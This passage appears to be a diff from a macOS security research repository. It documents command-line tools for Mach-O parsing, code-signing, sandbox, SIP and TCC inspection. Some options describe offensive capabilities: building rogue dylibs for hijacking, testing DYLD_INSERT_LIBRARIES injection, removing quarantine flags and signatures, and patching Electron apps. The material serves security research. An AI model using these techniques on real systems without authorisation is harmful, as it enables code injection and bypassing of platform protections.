--tcc_accessibility Check Accessibility TCC permission for the binary
--tcc_icloud Check iCloud (Ubiquity) TCC permission for the binary
```
* Example:
```bash
CrimsonUroboros.py -p PATH --info
```
***
### [MachOFileFinder](I.%20Mach-O/python/MachOFileFinder.py)
Designed to find ARM64 Mach-O binaries within a specified directory and print their file type.
* Usage:
```bash
python MachOFileFinder.py PATH
```
* Example:
```bash
python MachOFileFinder.py . -r 2>/dev/null
EXECUTE:/Users/karmaz95/t/pingsender
DYLIB:/Users/karmaz95/t/dylibs/use_dylib_app/customs/custom.dylib
BUNDLE:/Users/karmaz95/t/bundles/MyBundle
```
***
### [TrustCacheParser](II.%20Code%20Signing/python/TrustCacheParser.py)
Designed to parse trust caches and print it in human readable form (based on [PyIMG4](https://github.com/m1stadev/PyIMG4) and [trustcache](https://github.com/CRKatri/trustcache))
* Usage:
```console
usage: TrustCacheParser [-h] [--dst DST] [--parse_img] [--parse_tc] [--print_tc] [--all]
Copy Trust Cache files to a specified destination.
options:
-h, --help show this help message and exit
--dst DST, -d DST Destination directory to copy Trust Cache files to.
--parse_img Parse copied Image4 to extract payload data.
--parse_tc Parse extract payload data to human-readable form trust cache using
trustcache.
--print_tc Print the contents of trust_cache (files must be in the current
directory and ends with .trust_cache)
--all parse_img -> parse_tc -> print_tc
```
***
### [SignatureReader](II.%20Code%20Signing/python/SignatureReader.py)
Designed to parse extracted cms sginature from Mach-O files.
* Usage:
```bash
# First extract CMS Signature using CrimsonUroboros
CrimsonUroboros -p target_binary --extract_cms cms_sign
# or using extract_cms.sh script
./extract_cms.sh target_binary cms_sign
```
```console
usage: SignatureReader [-h] [--load_cms cms_signature.der]
[--extract_signature cms_signature.der]
[--extract_pubkey cert_0] [--human]
CMS Signature Loader
options:
-h, --help show this help message and exit
--load_cms cms_signature.der
Load the DER encoded CMS Signature from the filesystem
and print it
--extract_signature cms_signature.der
Extract and print the signature part from the DER
encoded CMS Signature
--extract_pubkey cert_0
Extract public key from the given certificate and save
it to extracted_pubkey.pem
--human Print in human-readable format
CrimsonUroboros -p signed_ad_hoc_example --extract_cms cms_sign
```
* Example:
```bash
SignatureReader --extract_signature cms_sign --human
0x25ca80ad5f11be197dc7a2d53f3db5b6bf463a38224db8c0a17fa4b8fd5ad7e0c60f2be8e8849cf2e581272290991c0db40b0d452b2d2dbf230c0ccab3a6d78e0230bca7bccbc50d379372bcddd8d8542add5ec59180bc3409b2df3bd8995301b9ba1e65ac62420c75104f12cb58b430fde8a177a1cd03940d4b0e77a9d875d65552cf96f03cb63b437c36d9bab12fa727e17603da49fcb870edaec115f90def1ac2ad12c2e9349a5470b5ed2f242b5566cd7ddee785eff8ae5484f145a8464d4dc3891b10a3b2981e9add1e4c0aec31fa80320eb5494d9623400753adf24106efdd07ad657035ed2876e9460219944a4730b0b620954961350ddb1fcf0ea539
```
***
### [extract_cms.sh](II.%20Code%20Signing/custom/extract_cms.sh)
Designed to extract cms sginature from Mach-O files (bash alternative to `SingatureReader --extract_signature`).
* Example:
```
./extract_cms.sh target_binary cms_sign
```
***
### [ModifyMachOFlags](III.%20Checksec/python/ModifyMachOFlags.py)
Designed to change Mach-O header flags.
* Usage:
```console
usage: ModifyMachOFlags [-h] -i INPUT -o OUT [--flag FLAG] [--sign_binary [adhoc|identity_number]]
Modify the Mach-O binary flags.
options:
-h, --help show this help message and exit
-i INPUT, --input INPUT
Path to the Mach-O file.
-o OUT, --out OUT Where to save a modified file.
--flag FLAG Specify the flag constant name and value (e.g., NO_HEAP_EXECUTION=1). Can be used multiple times. Available
flags: NOUNDEFS, INCRLINK, DYLDLINK, BINDATLOAD, PREBOUND, SPLIT_SEGS, LAZY_INIT, TWOLEVEL, FORCE_FLAT,
NOMULTIDEFS, NOFIXPREBINDING, PREBINDABLE, ALLMODSBOUND, SUBSECTIONS_VIA_SYMBOLS, CANONICAL, WEAK_DEFINES,
BINDS_TO_WEAK, ALLOW_STACK_EXECUTION, ROOT_SAFE, SETUID_SAFE, NO_REEXPORTED_DYLIBS, PIE,
DEAD_STRIPPABLE_DYLIB, HAS_TLV_DESCRIPTORS, NO_HEAP_EXECUTION, APP_EXTENSION_SAFE,
NLIST_OUTOFSYNC_WITH_DYLDINFO, SIM_SUPPORT, DYLIB_IN_CACHE
--sign_binary [adhoc|identity_number]
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to get the
identity. (default: adhoc)
```
* Example:
```bash
ModifyMachOFlags -i hello -o hello_modified --flag NO_HEAP_EXECUTION=1 --sign_binary
```
***
### [LCFinder](III.%20Checksec/python/LCFinder.py)
Designed to find if specified Load Command exist in the binary or list of binaries.
* Usage:
```console
usage: LCFinder [-h] [--path PATH] [--list_path LIST_PATH] --lc LC
Check for a specific load command in Mach-O binaries.
options:
-h, --help show this help message and exit
--path PATH, -p PATH Absolute path to the valid MachO binary.
--list_path LIST_PATH, -l LIST_PATH
Path to a wordlist file containing absolute paths.
--lc LC The load command to check for.
```
* Example:
```bash
LCFinder -l macho_paths.txt --lc SEGMENT_64 2>/dev/null
LCFinder -p hello --lc lc_segment_64 2>/dev/null
```
***
### [MachODylibLoadCommandsFinder](IV.%20Dylibs/python/MachODylibLoadCommandsFinder.py)
Designed to Recursively crawl the system and parse Mach-O files to find DYLIB related load commands.
Print the total Mach-O files analyzed and how many DYLIB-related LCs existed
* Usage:
```console
MachODylibLoadCommandsFinder 2>/dev/null
```
***
### [check_amfi](VI.%20AMFI/python/check_amfi.py)
Simple script for calculating `amfiFlags` (described [here](https://karol-mazurek.medium.com/dyld-do-you-like-death-vi-1013a69118ff) in `ProcessConfig — AMFI properties`)
* Usage:
```console
python3 check_amfi.py 0x1df
```
***
### [make_bundle](App%20Bundle%20Extension/custom/make_bundle.sh)
Build a codeless bundle with a red icon.
* Usage:
```console
./make_bundle.sh
```
***
### [make_bundle_exe](App%20Bundle%20Extension/custom/make_bundle_exe.sh)
Bash template for building a PoC app bundle with Mach-O binary that utilizes Framework:
* Usage:
```console
./make_bundle_exe.sh
```
***
### [make_dmg](App%20Bundle%20Extension/custom/make_dmg.sh)
Script for packing the app in a compressed DMG container:
* Usage (change names in the script):
```console
./make_dmg.sh
```
### [electron_patcher](App%20Bundle%20Extension/custom/electron_patcher.py)
Python script for extracting ASAR files from Electron apps and patching them with a custom ASAR file.
```
python3 electron_patcher.py extract app_bundle.app extracted_asar
python3 electron_patcher.py pack extracted_asar app_bundle.app
```
### [sandbox_validator](VIII.%20Sandbox/custom/sandbox_validator.c)
It can be used to quickly check if a given process is allowed to perform a particular operation while it is sandboxed.
```bash
# Compile
clang -o sandbox_validator sandbox_validator.c
# Usage: sandbox_validator PID "OPERATION" "FILTER_NAME" "FILTER_VALUE"
sandbox_validator 93298
sandbox_validator 93298 "file-read*"
sandbox_validator 93298 "file-read*" PATH "/users/karmaz/.trash"
sandbox_validator 93298 "authorization-right-obtain" RIGHT_NAME "system.burn"
```
### [sandblaster](https://github.com/Karmaz95/sandblaster)
This is my forked version of [sandblaster](https://github.com/cellebrite-labs/sandblaster) with MacOS Support:
```bash
python3 reverse_sandbox.py -o sonoma_sandbox_operations.txt profile_sb -r 17
```
### [sip_check](VIII.%20Sandbox/custom/sip_check.py)
A simple program to check if SIP is enabled in the system with more details.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
python3 sip_check.py
SIP Configuration Flags:
CSR_ALLOW_UNTRUSTED_KEXTS: Off
CSR_ALLOW_UNRESTRICTED_FS: Off
CSR_ALLOW_TASK_FOR_PID: Off
CSR_ALLOW_KERNEL_DEBUGGER: Off
CSR_ALLOW_APPLE_INTERNAL: Off
CSR_ALLOW_UNRESTRICTED_DTRACE: Off
CSR_ALLOW_UNRESTRICTED_NVRAM: Off
CSR_ALLOW_DEVICE_CONFIGURATION: Off
CSR_ALLOW_ANY_RECOVERY_OS: Off
CSR_ALLOW_UNAPPROVED_KEXTS: Off
CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE: Off
CSR_ALLOW_UNAUTHENTICATED_ROOT: Off
```
### [crimson_waccess.py](VIII.%20Sandbox/python/crimson_waccess.py)
It can be use for checking the possibility of file modification and creation in a given directory.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
python3 crimson_waccess.py -f sip_protected_paths.txt
```
### [sip_tester](VIII.%20Sandbox/python/sip_tester)
It can be used to check if a given path, process or service is SIP-protected and also to check missing paths from `rootless.conf`.
It was introduced in [the article about SIP](https://karol-mazurek.medium.com/system-integrity-protection-sip-140562b07fea?sk=v2%2F9c293b8f-c376-4603-b8a1-2872ba3395cf)
```bash
sip_tester --path /bin
sip_tester --pid 1234
sip_tester --service com.apple.kernelmanager_helper
sip_tester --missing_paths
```
### [UUIDFinder](IX.%20TCC/python/UUIDFinder.py)
A tool for creating a centralized UUID database for macOS. It is used to find UUIDs of files and directories.
It was introduced in the article [Apple UUID Finder](https://karol-mazurek.medium.com/apple-uuid-finder-a5173bdd1a8a?sk=v2%2F04bb0d32-6dc9-437d-bf72-8f65e03fed90)
```bash
usage: UUIDFinder [-h] [--path PATH | --list LIST] [--uuid UUID] [--delete] [--resolve] [--show_db] [--db_location DB_LOCATION]
UUIDFinder - A tool for managing Mach-O executable UUIDs
options:
-h, --help show this help message and exit
--path, -p PATH Path to the executable
--list, -l LIST Path to a file containing a list of executables
--uuid, -u UUID UUID to lookup or add
--delete, -d Delete the path record from database
--resolve, -r Get UUIDs for the path and add to database
--show_db, -s Show all records in the database
--db_location DB_LOCATION
Location of the UUID database file
Examples:
---------
1. Display UUIDs for a single executable from database:
--path /path/to/executable
-p /path/to/executable
2. Find path for a specific UUID in database:
--uuid 123e4567-e89b-12d3-a456-426614174000
-u 123e4567-e89b-12d3-a456-426614174000
3. Add or update UUID for a path:
--path /path/to/executable --uuid 123e4567-e89b-12d3-a456-426614174000
-p /path/to/executable -u 123e4567-e89b-12d3-a456-426614174000
4. Extract and add UUIDs from executable to database:
--path /path/to/executable --resolve
-p /path/to/executable -r
5. Delete path and its UUIDs from database:
--path /path/to/executable --delete
-p /path/to/executable -d
6. Process multiple executables from a list file:
--list /path/to/list.txt --resolve
-l /path/to/list.txt -r
7. Show all records in the database:
--show_db
-s
8. Use custom database location:
--path /path/to/executable --db_location /custom/path/db.json
-p /path/to/executable --db_location /custom/path/db.json
Notes:
------
- All UUIDs are stored in lowercase in the database
- The default database file is 'uuid_database.json' in the current directory
- When using --list, each path should be on a new line in the list file
- The tool automatically converts relative paths to absolute paths
```
### [TCCParser](IX.%20TCC/python/TCCParser.py)
A tool for querying macOS TCC (Transparency, Consent, and Control) databases.
It was introduced in the article [](todo)
```bash
usage: TCCParser [-h] [-p PATH] [-t] [-a] [-l]
Parse TCC Database for Permissions Information
options:
-h, --help Show this help message and exit
-p PATH, --path PATH Path to TCC.db file to analyze
-t, --table Output results in table format
-a, --all Automatically query all available TCC databases on the system
-l, --list_db List all available TCC databases on the system
Examples:
---------
1. List all available TCC databases on the system:
--list_db
-l
2. Query a specific TCC database:
--path /path/to/TCC.db
-p /path/to/TCC.db
3. Display the query results in a formatted table:
--path /path/to/TCC.db --table
-p /path/to/TCC.db -t
4. Automatically query all known TCC databases:
--all
-a
Notes:
------
- The tool retrieves details such as client, service, and authorization status for each entry in the TCC database.
- The `--list_db` option helps users locate all known TCC databases on the system, sourced from `REG.db`.
```
## INSTALL
```
pip3 install -r requirements.txt
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64 -O /usr/local/bin/trustcache
chmod +x /usr/local/bin/trustcache
xattr -d com.apple.quarantine /usr/local/bin/trustcache
brew install keith/formulae/dyld-shared-cache-extractor
brew install blacktop/tap/ipsw
brew install tree
```
## LIMITATIONS
* Codesigning module(codesign wrapper) works only on macOS.
* `--dylib_hijacking` needs [ipsw](https://github.com/blacktop/ipsw) to be installed.
* `--dylibtree` needs the [dyld-shared-cache-extractor](https://github.com/keith/dyld-shared-cache-extractor) to be installed.
## WHY UROBOROS?
I will write the code for each article as a class SnakeX, where X will be the article number, to make it easier for the audience to follow.
Each Snake class will be a child of the previous one and infinitely "eat itself" (inherit methods of the previous class), like Uroboros.
## ADDITIONAL LINKS
* [Apple Open Source](https://opensource.apple.com/releases/)
* [XNU](https://github.com/apple-oss-distributions/xnu)
* [dyld](https://github.com/apple-oss-distributions/dyld)
## TODO - IDEAS / IMPROVES
* DER Entitlements converter method - currently, only the `convert_xml_entitlements_to_dict()` method exists. I need to create a Python parser for DER-encoded entitlements.
* SuperBlob parser - to find other blobs in Code Signature.
* Entitlements Blob parser - to check if XML and DER blobs exist.
* Every method in the Snake class that use Entitlements should parse first XML > DER (currently, only XML parser exists)
* After making a SuperBlob parser and CodeDirectory blob parser, modify hasHardenedRuntime to check Runtime flag by using bitmask, instead of string.
* Build Dyld Shared Cache parser and extractor to make SnakeIV independant of dyld-shared-cache-extractor.
* Create `RottenApple.app` in another repository and use it for testing.
* Add Dyld Closure chapter to Snake&Apple V - Dyld.
* Move `kext_prelinkinfo`, `dumpPrelink_info` and `dumpPrelink_text` to Snake & Apple chapter about Kernel Extensions when ready.
* Add kernelcache parser.
* Add `LC_FILESET_ENTRY` method to `dumpKernelExtension`.
* Consider moving methods like `removeNullBytesAlignment`, `calcTwoComplement64` etc. to `Utils` class.
* Move `--mig` option to Snake & Apple chapter about Mach Kernel when ready.
* Make Thread manager class and improve the Threading.thread with tracing methods and `kill()`.
* Reconsider moving --xattr like args to another Snake class related to filesystem.
* Consider adding second option to dump Sandbox Operations based on this [Csaba Fitzl comment](https://x.com/theevilbit/status/1828773101041221755).
## Repository popularity
[![Star History Chart](https://api.star-history.com/svg?repos=Karmaz95/Snake_Apple&type=Date)](https://star-history.com/#Karmaz95/Snake_Apple)

733
TOOLS.md Normal file
View File

@@ -0,0 +1,733 @@
# TOOLS
Here is the list of all tools in this repository:
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder) • [MachODylibLoadCommandsFinder](#machodylibloadcommandsfinder) • [AMFI_test.sh](VI.%20AMFI/custom/AMFI_test.sh) • [make_plist](VIII.%20Sandbox/python/make_plist.py) • [sandbox_inspector](VIII.%20Sandbox/python/sandbox_inspector.py) • [spblp_compiler_wrapper](VIII.%20Sandbox/custom/sbpl_compiler_wrapper) • [make_bundle](#make_bundle) • [make_bundle_exe](#make_bundle_exe) • [make_dmg](#make_dmg) • [electron_patcher](#electron_patcher) • [sandbox_validator](#sandbox_validator) • [sandblaster](#sandblaster) • [sip_check](#sip_check) • [crimson_waccess.py](#crimson_waccesspy) • [sip_tester](#sip_tester) • [UUIDFinder](#uuidfinder) • [IOVerify](#ioverify) • [r2_dd](#r2_dd) • [find_symbol](#find_symbol)
***
### [CrimsonUroboros](tests/CrimsonUroboros.py)
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
![alt](img/CrimsonUroboros.jpg)
#### WHY UROBOROS?
I wrote the code for each article as a class `SnakeX`. The `X` was the article number, to make it easier for the audience to follow. Each `Snake` class is a child of the previous one. It infinitely "eats itself" (inherits methods of the last class), like Uroboros.
#### INSTALLATION
```
pip3 install -r requirements.txt
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64 -O /usr/local/bin/trustcache
chmod +x /usr/local/bin/trustcache
xattr -d com.apple.quarantine /usr/local/bin/trustcache
brew install keith/formulae/dyld-shared-cache-extractor
brew install blacktop/tap/ipsw
brew install tree
```
#### LIMITATIONS
* Codesigning module(codesign wrapper) works only on macOS.
* `--dylib_hijacking` needs [ipsw](https://github.com/blacktop/ipsw) to be installed.
* `--dylibtree` needs the [dyld-shared-cache-extractor](https://github.com/keith/dyld-shared-cache-extractor) to be installed.
#### Usage
```console
usage: CrimsonUroboros [-h] [-p PATH] [-b BUNDLE] [--bundle_structure] [--bundle_info] [--bundle_info_syntax_check]
[--bundle_frameworks] [--bundle_plugins] [--bundle_id] [--file_type] [--header_flags]
[--endian] [--header] [--load_commands] [--has_cmd LC_MAIN] [--segments]
[--has_segment __SEGMENT] [--sections] [--has_section __SEGMENT,__section] [--symbols]
[--imports] [--exports] [--imported_symbols] [--chained_fixups] [--exports_trie] [--uuid]
[--main] [--encryption_info [(optional) save_path.bytes]] [--strings_section]
[--all_strings] [--save_strings all_strings.txt] [--info]
[--dump_data [offset,size,output_path]] [--calc_offset vm_offset] [--constructors]
[--dump_section __SEGMENT,__section] [--dump_binary output_path] [--verify_signature]
[--cd_info] [--cd_requirements] [--entitlements [human|xml|var]]
[--extract_cms cms_signature.der] [--extract_certificates certificate_name]
[--remove_sig unsigned_binary] [--sign_binary [adhoc|identity]] [--cs_offset] [--cs_flags]
[--verify_bundle_signature] [--remove_sig_from_bundle] [--has_pie] [--has_arc]
[--is_stripped] [--has_canary] [--has_nx_stack] [--has_nx_heap] [--has_xn] [--is_notarized]
[--is_encrypted] [--is_restricted] [--is_hr] [--is_as] [--is_fort] [--has_rpath] [--has_lv]
[--checksec] [--dylibs] [--rpaths] [--rpaths_u] [--dylibs_paths] [--dylibs_paths_u]
[--broken_relative_paths] [--dylibtree [cache_path,output_path,is_extracted]] [--dylib_id]
[--reexport_paths] [--hijack_sec] [--dylib_hijacking [(optional) cache_path]]
[--dylib_hijacking_a [cache_path]] [--prepare_dylib [(optional) target_dylib_name]]
[--is_built_for_sim] [--get_dyld_env] [--compiled_with_dyld_env] [--has_interposing]
[--interposing_symbols] [--has_suid] [--has_sgid] [--has_sticky] [--injectable_dyld]
[--test_insert_dylib] [--test_prune_dyld] [--test_dyld_print_to_file] [--test_dyld_SLC]
[--xattr] [--xattr_value xattr_name] [--xattr_all] [--has_quarantine] [--remove_quarantine]
[--add_quarantine] [--sandbox_container_path] [--sandbox_container_metadata]
[--sandbox_redirectable_paths] [--sandbox_parameters] [--sandbox_entitlements]
[--sandbox_build_uuid] [--sandbox_redirected_paths] [--sandbox_system_images]
[--sandbox_system_profiles] [--sandbox_content_protection] [--sandbox_profile_data]
[--extract_sandbox_operations] [--extract_sandbox_platform_profile] [--tcc] [--tcc_fda]
[--tcc_automation] [--tcc_sysadmin] [--tcc_desktop] [--tcc_documents] [--tcc_downloads]
[--tcc_photos] [--tcc_contacts] [--tcc_calendar] [--tcc_camera] [--tcc_microphone]
[--tcc_location] [--tcc_recording] [--tcc_accessibility] [--tcc_icloud]
[--parse_mpo mpo_addr] [--dump_prelink_info [(optional) out_name]]
[--dump_prelink_text [(optional) out_name]] [--dump_prelink_kext [kext_name]]
[--kext_prelinkinfo [kext_name]] [--kmod_info kext_name] [--kext_entry kext_name]
[--kext_exit kext_name] [--mig] [--dump_kext kext_name]
Mach-O files parser for binary analysis
options:
-h, --help show this help message and exit
GENERAL ARGS:
-p, --path PATH Path to the Mach-O file
-b, --bundle BUNDLE Path to the App Bundle (can be used with -p to change path of binary which is by default
set to: /target.app/Contents/MacOS/target)
BUNDLE ARGS:
--bundle_structure Print the structure of the app bundle
--bundle_info Print the Info.plist content of the app bundle (JSON format)
--bundle_info_syntax_check
Check if bundle info syntax is valid
--bundle_frameworks Print the list of frameworks in the bundle
--bundle_plugins Print the list of plugins in the bundle
--bundle_id Print the CFBundleIdentifier value from the Info.plist file if it exists
MACH-O ARGS:
--file_type Print binary file type
--header_flags Print binary header flags
--endian Print binary endianess
--header Print binary header
--load_commands Print binary load commands names
--has_cmd LC_MAIN Check of binary has given load command
--segments Print binary segments in human-friendly form
--has_segment __SEGMENT
Check if binary has given '__SEGMENT'
--sections Print binary sections in human-friendly form
--has_section __SEGMENT,__section
Check if binary has given '__SEGMENT,__section'
--symbols Print all binary symbols
--imports Print imported symbols
--exports Print exported symbols
--imported_symbols Print symbols imported from external libraries with dylib names
--chained_fixups Print Chained Fixups information
--exports_trie Print Export Trie information
--uuid Print UUID
--main Print entry point and stack size
--encryption_info [(optional) save_path.bytes]
Print encryption info if any. Optionally specify an output path to dump the encrypted data
(if cryptid=0, data will be in plain text)
--strings_section Print strings from __cstring section
--all_strings Print strings from all sections
--save_strings all_strings.txt
Parse all sections, detect strings, and save them to a file
--info Print header, load commands, segments, sections, symbols, and strings
--dump_data [offset,size,output_path]
Dump {size} bytes starting from {offset} to a given {filename} (e.g.
'0x1234,0x1000,out.bin')
--calc_offset vm_offset
Calculate the real address (file on disk) of the given Virtual Memory {vm_offset} (e.g.
0xfffffe000748f580)
--constructors Print binary constructors
--dump_section __SEGMENT,__section
Dump '__SEGMENT,__section' to standard output as a raw bytes
--dump_binary output_path
Dump arm64 binary to a given file
CODE SIGNING ARGS:
--verify_signature Code Signature verification (if the contents of the binary have been modified)
--cd_info Print Code Signature information
--cd_requirements Print Code Signature Requirements
--entitlements [human|xml|var]
Print Entitlements in a human-readable, XML, or DER format (default: human)
--extract_cms cms_signature.der
Extract CMS Signature from the Code Signature and save it to a given file
--extract_certificates certificate_name
Extract Certificates and save them to a given file. To each filename will be added an index
at the end: _0 for signing, _1 for intermediate, and _2 for root CA certificate
--remove_sig unsigned_binary
Save the new file on a disk with removed signature
--sign_binary [adhoc|identity]
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to
get the identity (default: adhoc)
--cs_offset Print Code Signature file offset
--cs_flags Print Code Signature flags
--verify_bundle_signature
Code Signature verification (if the contents of the bundle have been modified)
--remove_sig_from_bundle
Remove Code Signature from the bundle
CHECKSEC ARGS:
--has_pie Check if Position-Independent Executable (PIE) is set
--has_arc Check if Automatic Reference Counting (ARC) is in use (can be false positive)
--is_stripped Check if binary is stripped
--has_canary Check if Stack Canary is in use (can be false positive)
--has_nx_stack Check if stack is non-executable (NX stack)
--has_nx_heap Check if heap is non-executable (NX heap)
--has_xn Check if binary is protected by eXecute Never (XN) ARM protection
--is_notarized Check if the application is notarized and can pass the Gatekeeper verification
--is_encrypted Check if the application is encrypted (has LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
--is_restricted Check if binary has __RESTRICT segment or CS_RESTRICT flag set
--is_hr Check if the Hardened Runtime is in use
--is_as Check if the App Sandbox is in use
--is_fort Check if the binary is fortified
--has_rpath Check if the binary utilise any @rpath variables
--has_lv Check if the binary has Library Validation (protection against Dylib Hijacking)
--checksec Run all checksec module options on the binary
DYLIBS ARGS:
--dylibs Print shared libraries used by specified binary with compatibility and the current version
(loading paths unresolved, like @rpath/example.dylib)
--rpaths Print all paths (resolved) that @rpath can be resolved to
--rpaths_u Print all paths (unresolved) that @rpath can be resolved to
--dylibs_paths Print absolute dylib loading paths (resolved @rpath|@executable_path|@loader_path) in order
they are searched for
--dylibs_paths_u Print unresolved dylib loading paths.
--broken_relative_paths
Print 'broken' relative paths from the binary (cases where the dylib source is specified
for an executable directory without @executable_path)
--dylibtree [cache_path,output_path,is_extracted]
Print the dynamic dependencies of a Mach-O binary recursively. You can specify the Dyld
Shared Cache path in the first argument, the output directory as the 2nd argument, and if
you have already extracted DSC in the 3rd argument (0 or 1). The output_path will be used
as a base for dylibtree. For example, to not extract DSC, use: --dylibs ",,1", or to
extract from default to default use just --dylibs or --dylibs ",,0" which will extract DSC
to extracted_dyld_share_cache/ in the current directory
--dylib_id Print path from LC_ID_DYLIB
--reexport_paths Print paths from LC_REEXPORT_DLIB
--hijack_sec Check if binary is protected against Dylib Hijacking
--dylib_hijacking [(optional) cache_path]
Check for possible Direct and Indirect Dylib Hijacking loading paths. The output is printed
to console and saved in JSON format to /tmp/dylib_hijacking_log.json(append mode).
Optionally, specify the path to the Dyld Shared Cache
--dylib_hijacking_a [cache_path]
Like --dylib_hijacking, but shows only possible vectors (without protected binaries)
--prepare_dylib [(optional) target_dylib_name]
Compile rogue dylib. Optionally, specify target_dylib_path, it will search for the imported
symbols from it in the dylib specified in the --path argument and automatically add it to
the source code of the rogue lib. Example: --path lib1.dylib --prepare_dylib
/path/to/lib2.dylib
DYLD ARGS:
--is_built_for_sim Check if binary is built for simulator platform.
--get_dyld_env Extract Dyld environment variables from the loader binary.
--compiled_with_dyld_env
Check if binary was compiled with -dyld_env flag and print the environment variables and
its values.
--has_interposing Check if binary has interposing sections.
--interposing_symbols
Print interposing symbols if any.
AMFI ARGS:
--has_suid Check if the file has SetUID bit set
--has_sgid Check if the file has SetGID bit set
--has_sticky Check if the file has sticky bit set
--injectable_dyld Check if the binary is injectable using DYLD_INSERT_LIBRARIES
--test_insert_dylib Check if it is possible to inject dylib using DYLD_INSERT_LIBRARIES (INVASIVE - the binary
is executed)
--test_prune_dyld Check if Dyld Environment Variables are cleared (using DYLD_PRINT_INITIALIZERS=1) (INVASIVE
- the binary is executed)
--test_dyld_print_to_file
Check if DYLD_PRINT_TO_FILE Dyld Environment Variables works (INVASIVE - the binary is
executed)
--test_dyld_SLC Check if DYLD_SHARED_REGION=private Dyld Environment Variables works and code can be
injected using DYLD_SHARED_CACHE_DIR (INVASIVE - the binary is executed)
ANTIVIRUS ARGS:
--xattr Print all extended attributes names
--xattr_value xattr_name
Print single extended attribute value
--xattr_all Print all extended attributes names and their values
--has_quarantine Check if the file has quarantine extended attribute
--remove_quarantine Remove com.apple.quarantine extended attribute from the file
--add_quarantine Add com.apple.quarantine extended attribute to the file
SANDBOX ARGS:
--sandbox_container_path
Print the sandbox container path
--sandbox_container_metadata
Print the .com.apple.containermanagerd.metadata.plist contents for the given bundlein XML
format
--sandbox_redirectable_paths
Print the redirectable paths from the sandbox container metadata as list
--sandbox_parameters Print the parameters from the sandbox container metadata as key-value pairs
--sandbox_entitlements
Print the entitlements from the sandbox container metadata in JSON format
--sandbox_build_uuid Print the sandbox build UUID from the sandbox container metadata
--sandbox_redirected_paths
Print the redirected paths from the sandbox container metadata as list
--sandbox_system_images
Print the system images from the sandbox container metadata as key-value pairs
--sandbox_system_profiles
Print the system profile from the sandbox container metadata in JSON format
--sandbox_content_protection
Print the content protection from the sandbox container metadata
--sandbox_profile_data
Print raw bytes ofthe sandbox profile data from the sandbox container metadata
--extract_sandbox_operations
Extract sandbox operations from the Sandbox.kext file
--extract_sandbox_platform_profile
Extract sandbox platform profile from the Sandbox.kext file
TCC ARGS:
--tcc Print TCC permissions of the binary
--tcc_fda Check Full Disk Access (FDA) TCC permission for the binary
--tcc_automation Check Automation TCC permission for the binary
--tcc_sysadmin Check System Policy SysAdmin Files TCC permission for the binary
--tcc_desktop Check Desktop Folder TCC permission for the binary
--tcc_documents Check Documents Folder TCC permission for the binary
--tcc_downloads Check Downloads Folder TCC permission for the binary
--tcc_photos Check Photos Library TCC permission for the binary
--tcc_contacts Check Contacts TCC permission for the binary
--tcc_calendar Check Calendar TCC permission for the binary
--tcc_camera Check Camera TCC permission for the binary
--tcc_microphone Check Microphone TCC permission for the binary
--tcc_location Check Location Services TCC permission for the binary
--tcc_recording Check Screen Recording TCC permission for the binary
--tcc_accessibility Check Accessibility TCC permission for the binary
--tcc_icloud Check iCloud (Ubiquity) TCC permission for the binary
XNU ARGS:
--parse_mpo mpo_addr Parse mac_policy_ops at given address from Kernel Cache and print pointers in use (not
zeroed)
--dump_prelink_info [(optional) out_name]
Dump "__PRELINK_INFO,__info" to a given file (default: "PRELINK_info.txt")
--dump_prelink_text [(optional) out_name]
Dump "__PRELINK_TEXT,__text" to a given file (default: "PRELINK_text.txt")
--dump_prelink_kext [kext_name]
Dump prelinked KEXT {kext_name} from decompressed Kernel Cache PRELINK_TEXT segment to a
file named: prelinked_{kext_name}.bin
--kext_prelinkinfo [kext_name]
Print _Prelink properties from PRELINK_INFO,__info for a give {kext_name}
--kmod_info kext_name
Parse kmod_info structure for the given {kext_name} from Kernel Cache
--kext_entry kext_name
Calculate the virtual memory address of the __start (entrypoint) for the given {kext_name}
Kernel Extension
--kext_exit kext_name
Calculate the virtual memory address of the __stop (exitpoint) for the given {kext_name}
Kernel Extension
--mig Search for MIG subsystem and prints message handlers
--dump_kext kext_name
Dump the kernel extension binary from the kernelcache.decompressed file
```
* Example:
```bash
CrimsonUroboros.py -p PATH --info
```
***
### [MachOFileFinder](I.%20Mach-O/python/MachOFileFinder.py)
Designed to find ARM64 Mach-O binaries within a specified directory and print their file type.
* Usage:
```bash
python MachOFileFinder.py PATH
```
* Example:
```bash
python MachOFileFinder.py . -r 2>/dev/null
EXECUTE:/Users/karmaz95/t/pingsender
DYLIB:/Users/karmaz95/t/dylibs/use_dylib_app/customs/custom.dylib
BUNDLE:/Users/karmaz95/t/bundles/MyBundle
```
***
### [TrustCacheParser](II.%20Code%20Signing/python/TrustCacheParser.py)
Designed to parse trust caches and print it in human readable form (based on [PyIMG4](https://github.com/m1stadev/PyIMG4) and [trustcache](https://github.com/CRKatri/trustcache))
* Usage:
```console
usage: TrustCacheParser [-h] [--dst DST] [--parse_img] [--parse_tc] [--print_tc] [--all]
Copy Trust Cache files to a specified destination.
options:
-h, --help show this help message and exit
--dst DST, -d DST Destination directory to copy Trust Cache files to.
--parse_img Parse copied Image4 to extract payload data.
--parse_tc Parse extract payload data to human-readable form trust cache using
trustcache.
--print_tc Print the contents of trust_cache (files must be in the current
directory and ends with .trust_cache)
--all parse_img -> parse_tc -> print_tc
```
***
### [SignatureReader](II.%20Code%20Signing/python/SignatureReader.py)
Designed to parse extracted cms sginature from Mach-O files.
* Usage:
```bash
# First extract CMS Signature using CrimsonUroboros
CrimsonUroboros -p target_binary --extract_cms cms_sign
# or using extract_cms.sh script
./extract_cms.sh target_binary cms_sign
```
```console
